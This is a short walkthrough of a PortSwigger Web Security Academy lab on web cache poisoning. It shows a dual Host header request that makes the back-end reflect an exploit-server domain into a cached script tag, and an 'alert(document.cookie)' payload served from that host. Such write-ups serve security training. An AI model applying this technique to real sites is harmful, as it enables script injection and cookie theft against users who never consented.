| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Web Cache Poisoning — Ambiguous Requests, Dual Host Header |
| Difficulty | Practitioner |
| Objective | Poison the cached home page so it executes alert(document.cookie) in the victim's browser |
Web Cache Poisoning via Ambiguous Requests¶
Intercepting a request to / showed Cache-Control: max-age=30 — responses cached for 30 seconds.
Adding a query parameter created a separate cache entry — the query string is part of the cache key.
The home page response loaded an external script:
<script type="text/javascript" src="//0a80007e03da530e807dbc2c00f100cd.h1-web-security-academy.net/resources/js/tracking.js"></script>
The domain in the script src is reflected from somewhere in the request — a host-based URL reflection is a high-value poisoning target. Controlling that domain means controlling what script the victim's browser loads.
Replacing the Host header outright with our exploit server caused a Gateway Timeout — the back-end actually tried to proxy the connection:
That told us the back-end consumes the Host header meaningfully — but a single header replacement broke the routing entirely. The cache and the back-end don't always agree on what a request means. Sending two Host headers exploits that ambiguity: the cache uses the first one (the legitimate domain) as the cache key, while the back-end reads the second one to build the script URL:
GET / HTTP/1.1
Host: 0a80007e03da530e807dbc2c00f100cd.h1-web-security-academy.net
Host: exploit-0a4d009f03e753a28053bbcb0107006b.exploit-server.net
The response reflected the exploit server in the script tag:
<script type="text/javascript" src="//exploit-0a4d009f03e753a28053bbcb0107006b.exploit-server.net/resources/js/tracking.js"></script>
I set up the exploit server to serve the payload at the expected path:
File: /resources/js/tracking.js
Body: alert(document.cookie);
Fired the ambiguous request to get the poisoned response cached, then loaded the home page in the browser to confirm — the alert fired immediately.
And now the lab is solved